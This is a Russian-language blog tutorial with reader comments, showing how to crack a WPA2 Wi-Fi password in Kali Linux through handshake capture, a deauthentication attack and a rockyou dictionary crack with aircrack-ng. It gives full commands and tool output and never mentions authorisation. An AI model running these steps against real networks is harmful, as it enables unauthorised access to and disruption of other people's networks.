Как взломать Wi-Fi

Использование беспроводных сетей Wi-Fi в настоящее время стало очень распространённым. Многие пользователи задумываются о безопасности своих сетей и компьютеров, иногда у них возникают вопросы, как взламывают Wi-Fi, насколько эта угроза реальна?

В этой заметке я предлагаю обычным пользователям, возможно, далёким от вопросов аудита безопасности беспроводных сетей Wi-Fi, посмотреть на их Wi-Fi сеть глазами хакера и даже задаться вопросом, как взломать Wi-Fi?

Хотя далее материал изложен максимально простым языком, нам не обойтись без понятий, специфичных для аудита Wi-Fi.

Термины Wi-Fi сетей

Точка Доступа (также Access Point), сокращённо ТД, AP – устройство, которое обеспечивает работу сети Wi-Fi, к нему подключаются Клиенты. Чаще всего точками доступа являются роутеры.

Клиент (Станция) – устройство, которое подключается к Точке Доступа. Чаще всего это компьютеры, ноутбуки, сотовые телефоны и т.д.

ESSID и SSID – это имена беспроводных Wi-Fi сетей – именно их вы видите, когда выбираете к какой сети подключиться. Строго говоря, ESSID и SSID это не одно и то же, но в аудите Wi-Fi эти термины часто используются как взаимозаменяемые. На скриншоте ниже ESSID (именами сетей) являются MiAl, wifi88 и т.д.:

BSSID – это MAC-адрес беспроводной карты. Пример MAC-адреса: 50:46:5D:6E:8C:20. Более подробно о них рассказано в заметке «Как узнать MAC-адрес и Как по MAC-адресу узнать производителя».

Рукопожатие (также хэндшейк, handshake) – данные, которыми обмениваются Станция и Точка Доступа в момент создания Wi-Fi соединения. Эти данные содержат информацию, позволяющую подобрать пароль от сети Wi-Fi.

Брут-форс (также полный перебор) – метод атаки на пароль, заключающийся в переборе всех возможных вариантов пароля. Требует много времени и вычислительных ресурсов.

Перебор по словарю (атака по словарю) – метод атаки на пароль, заключающийся в переборе часто встречающихся вариантов пароля. Имеет хорошее соотношение затраченных ресурсов к полученным результатам.

Онлайн перебор пароля Wi-Fi – метод подбора пароля, который заключается в подключении к Точке Доступа с различными кандидатами в пароли. Практически не применяется из-за крайне низкой скорости перебора.

Офлайн перебор пароля Wi-Fi – метод подбора пароля, который заключается в захвате Рукопожатия и подборе такого пароля, который бы соответствовал этому рукопожатию. Этот подбор не требует подключения к Точке Доступа и выполняется на много порядков быстрее, чем онлайн перебор. Также он может выполняться на вычислительных мощностях видеокарт, что увеличивает скорость перебора ещё на несколько порядков.

WPA и WPA2 – технология защищённого доступа к Wi-Fi, пришла на смену устаревшей технологии WEP.

Беспроводная Wi-Fi карта (или беспроводной Wi-Fi адаптер) – любая сетевая карта, способная подключаться к сети Wi-Fi. В ноутбуках и телефонах они встроены внутрь корпуса, в настольных компьютерах обычно представляют собой внешнее устройство, подключаемое по USB.

Режим монитора (Monitor Mode) – свойство некоторых беспроводных адаптеров принимать пакеты данных, которые предназначены не только для них, но и для других беспроводных устройств.

Сетевой интерфейс – имя, условное обозначение в Linux сетевых карт/адаптеров.

Канал сети Wi-Fi – условное цифровое обозначение частоты, на которой в данный момент работает Точка Доступа.

Что необходимо для взлома Wi-Fi

  • Компьютер, на который можно установить Linux
  • Специализированное программное обеспечение, для Linux оно является свободным (т.е. распространяется бесплатно и у него открыт исходный код)
  • Беспроводная Wi-Fi карта, которая поддерживает режим монитора. Список актуальных карт.
  • Соответствующие знания и навыки – это вы найдёте в данной статье.

Wi-Fi карты с поддержкой режима монитора имеются в свободной продаже, их цена соответствует ценам других беспроводным картам с аналогичными характеристиками. В моём ноутбуке встроенная карта оказалась с поддержкой режима монитора – т.е. это не является редкостью и их могут достать любые желающие.

Специализированное ПО для аудита Wi-Fi сетей, как уже было сказано, распространяется свободно, по умолчанию оно присутствует в специализированных дистрибутивах, например, в Kali Linux (по ссылке общая информация и инструкции по установке).

Как можно убедиться, все компоненты необходимые для взлома Wi-Fi являются весьма доступными.

Все дальнейшие действия выполняются в Kali Linux.

Перевод Wi-Fi адаптера в режим монитора

По умолчанию беспроводные адаптеры находятся в «управляемом» (managed) режиме. Этот режим позволяет подключаться к Точке Доступа в качестве обычного Клиента.

Режим монитора (monitor) предназначен для анализа Wi-Fi сетей. В этом режиме беспроводная карта принимает фреймы (их ещё называют кадры) от любых источников, находящихся на том же канале.

Поскольку нам нужно захватить рукопожатие, которое состоит из данных, которые Станция отправляет Точке Доступа и Точка Доступа отправляет Станции (т.е. которые ни на каком этапе не предназначены для нас), то нам необходимо перевести нашу Wi-Fi карту в режим монитора, чтобы она была способна увидеть эти данные и сохранить их для дальнейшей обработки.

Чтобы ввести команды для перевода Wi-Fi адаптера в режим монитора, нам нужно узнать имя беспроводного интерфейса. Для этого откройте консоль и введите команду:

sudo iw dev

Имя беспроводного интерфейса указано в строке со словом Interface, т.е. в моём случае именем является wlan0. Запоминаем это значение, поскольку в дальнейшем оно нам понадобиться.

Режим монитора не является чем-то обычным для операционной системы, поэтому некоторые программы без спроса, молча переводят Wi-Fi адаптер в управляемый режим. Нам это может помешать, поэтому следующими двумя командами мы закрываем программы, которые могут нам воспрепятствовать:

sudo systemctl stop NetworkManager
sudo airmon-ng check kill

Теперь, наконец, мы можем перевести беспроводную карту в режим монитора. Для этого выполните последовательность команд

sudo ip link set <ИНТЕРФЕЙС> down
sudo iw <ИНТЕРФЕЙС> set monitor control
sudo ip link set <ИНТЕРФЕЙС> up

заменив <ИНТЕРФЕЙС> на действительное имя вашего беспроводного интерфейса (у меня это wlan0):

sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

Кажется, что ничего не произошло, но набрав команду

sudo iw dev

Мы увидим примерно следующее:

В ней строка type monitor говорит о том, что наша беспроводная карта в режиме монитора.

Что такое рукопожатие (хэндшэйк)

Как уже было сказано, рукопожатие – это данные, которые в несколько этапов передаются между Станцией и Точкой доступа в тот момент, когда Станция подключается к Точке Доступа. Это означает, что для захвата рукопожатия нам нужно переключиться на канал, на котором работает Точка Доступа, для прослушивания радиосигналов и дождаться момента, когда Станция подключается к ней. Поскольку ожидание может затянуться, что применяется приём, называемый Атака Деаутентификация, который заключается в принудительно сбросе Wi-Fi соединения между Точкой Доступа и Станцией. Сразу после такого отключения, Станция пытается подключиться вновь, а мы в этот момент захватываем рукопожатие.

К сожалению, этот метод не работает, если к Точке Доступа никто не подключён.

Обзор Wi-Fi сетей

Чтобы атаковать Wi-Fi сеть нам нужно знать некоторые её характеристики. Чтобы получить список всех доступных в диапазоне досягаемости Wi-Fi сетей выполните команду:

sudo airodump-ng wlan0

Обратите внимание, что если у вас другое имя беспроводного интерфейса, то вместо wlan0 вам нужно вписать это имя.

Описанная атака применима только для сетей с защитой WPA2 или WPA – таких подавляющее большинство.

Будет выведен похожий список сетей:

Когда вы увидите в списке сеть, которую хотите атаковать, то остановите программу, для этого нажмите CTRL+c.

Предположим, меня интересует сеть с ESSID (именем) dlink. Как видно из скриншота, её характеристиками являются: BSSID – это 00:1E:58:C6:AC:FB, она использует WPA2, работает на шестом канале. Также ненулевое значение #Data (захваченные данные, отправляемые это ТД) позволяет предположить, что к ней подключена одна или более станций.

Для захвата рукопожатия используется команда следующего вида:

sudo airodump-ng -c КАНАЛ --bssid MAC_АДРЕС -w ФАЙЛ ИНТЕРФЕЙС

Где:

  • КАНАЛ – это канал, на котором работает ТД
  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ФАЙЛ – имя файла, куда будет записано рукопожатие
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

Для моих данных команда выглядит так:

sudo airodump-ng -c 6 --bssid 00:1E:58:C6:AC:FB -w capture wlan0

На следующем скриншоте вновь видна интересующая нас ТД, а также теперь виден раздел со станциями:

В полном списке ТД раздел со станциями также присутствовал, но уходил за нижний край экрана, поэтому на скриншот не попал.

Для станции мы в поле BSSID мы можем увидеть значение, которое соответствует BSSID Точки Доступа, т.е. 00:1E:58:C6:AC:FB, это означает, что в данный момент эта Станция подключена к интересующей нас ТД. Теперь имеется два варианта:

1) ждать пока Станция отсоединится и вновь подключится к ТД по естественным причинам

2) выполнить атаку деаутентификация для ускорения процесса

Выполнение атаки деаутентификация

Для выполнения деаутентификации, не прекращая записи трафика, запущенного на предыдущем этапе, откройте новое окно консоли и введите туда команду вида:

sudo aireplay-ng -0 3 -a MAC_АДРЕС ИНТЕРФЕЙС

Где:

  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

В моём случае команда выглядит так:

sudo aireplay-ng -0 3 -a 00:1E:58:C6:AC:FB  wlan0

Программа выведет примерно следующее:

08:17:30  Waiting for beacon frame (BSSID: 00:1E:58:C6:AC:FB) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]
08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]
08:17:31  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]

А в правом верхнем углу экрана для захвата данных появится новая запись:

WPA handshake: 00:1E:58:C6:AC:FB

Она означает, что рукопожатие успешно захвачено.

Атака по словарю на пароль Wi-Fi

Теперь нам нужно запустить перебор данных.

Подготовим словарь:

cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt

Файл словаря в этом случае называется newrockyou.txt.

Чтобы узнать имя захваченного рукопожатия выполните команду:

ls -l capture*

При этом будет выведено что-то вроде следующего (записей может быть больше, если вы неоднократно захватывали рукопожатия):

-rw-r--r-- 1 root root 73164 сен 30 08:24 capture-01.cap
-rw-r--r-- 1 root root   478 сен 30 08:24 capture-01.csv
-rw-r--r-- 1 root root   583 сен 30 08:24 capture-01.kismet.csv
-rw-r--r-- 1 root root  2766 сен 30 08:24 capture-01.kismet.netxml

Нас интересует только файл capture-01.cap – именно он содержит рукопожатие.

Для перебора по словарю используется следующая команда:

aircrack-ng -w ФАЙЛ_СЛОВАРЯ ФАЙЛ_ЗАХВАТА

Итак, в моём случае точная команда следующая:

aircrack-ng -w newrockyou.txt capture-01.cap

Эта команда запускает подбор пароля, в процессе перебора показывается следующее окно:

Пароль подобран:

Об этом говорит запись KEY FOUND! [ pattayateam ], в которой паролем от Wi-Fi сети является pattayateam. Используя этот пароль можно подключиться к беспроводной точке доступа с любого устройства (компьютера, телефона) как это делают другие легитимные пользователи.

Заключение

Как можно убедиться, взлом Wi-Fi не является чем-то исключительно сложным, хотя и требует знания некоторых команд Linux. Здесь показан только один пример из множества вариаций атаки на Wi-Fi. Если вас заинтересовала тема аудита беспроводных сетей, то обратитесь к книге «Взлом Wi-Fi сетей с Kali Linux».

Рекомендуемые статьи:

14 комментариев на Как взломать Wi-Fi

  1. freeman:

    А если WPS отключен и пароль типа ZeVfvSlehfXr31265 то поребор с помощью aircrack будет длится столетиями и не даст результата.Можно попробовать аттаку злой двойник но большенство уже вкурсе этой темы и прокатывает это очень редко

    • Alexey Alexey:

      К «если» ещё нужно добавить, что пароль от админки роутера должен быть достаточно надёжным, а сам роутер не содержать уязвимостей и заложенных производителем бэкдоров. Иначе к нему можно подобраться с другой стороны.

      Смысл заметки – ответить интересующимся, как в принципе это делается. Ну и, конечно, привлечь внимание к настройке своего роутера для безопасности.

      Кстати, в паролях ещё можно использовать знаки препинания, другие символы – чтобы уж наверняка.

      • freeman:

        Для перебора нужно сразу было привети пример ни с aircrack а c hashcat, так как aircrack скорость перебора 2к в сек а у hashcat (на geforce 750 ti) 60к

        • Alexey Alexey:

          Нет, поскольку концепция заметки заключается в максимальной простоте. Из цикла «своими руками из скотча и пластиковой бутылки». Если hashcat, то значит нужно писать про драйверы, конвертацию в нужный тип хеша, про маски и т.д. У меня (и я такой не один) hashcat уже не запускается на Linux, т.к. нужен драйвер AMDGPU-PRO, которого нет для моей видеокарты. Можно было бы написать про перенос в Windows и про всё остальное – но это уже головняк. Про hashcat достаточно и в Инете и даже на этом сайте. Кто заинтересуется – тот найдёт.

  2. lone_wolf:

    Эх подрубаю к системе tl-wn722n, набираю из под рута iw dev а в ответ тишина, набираю ip link и вижу его, набираю iwconfig и о пять же вижу устройство. Похоже iw dev работает только с встроеными устройствами 🙁

    • Денис:

      какая у вас апаратная  версия? может V2 ?  у меня все работает на  V1 хоть из виртуалки хоть из установленой системы, вот скрин:

  3. rk:

    Alexey, скажите пожалуйста может немного не в тему, но по какому пути в kali linux находится захваченный handshake в tkiptun-ng?

    • Alexey Alexey:

      В процессе работы программа выводит в том числе подобные строки:

       15:06:56  WPA handshake: 00:14:6C:7E:40:80 captured
       15:06:56  Waiting for an ARP packet coming from the Client...
       Saving chosen packet in replay_src-0305-150705.cap

      Т.е. пакеты были записаны в файл replay_src-0305-150705.cap. По идее, этот файл должен находится в текущей рабочей директории. Если не там, то ищите следующим образом:

      updatedb
      locate имя_файла.cap
      
      • rk:

        Спасибо, Alexey. А сколько минимум должно быть получено пакетов в этой программе чтобы получить ip адрес жертвы а то у меня бесонечный список пакетов идет а ip жертвы я так и не дождался с чем это может быть связано?

        • Alexey Alexey:

          Я прочитал по диагонали описание программы – в глаза бросилась фраза, что главный этап атаки не доделан. Там ещё много разных требований, т.е. для атаки нужен набор определённых условий.

Добавить комментарий

Ваш e-mail не будет опубликован.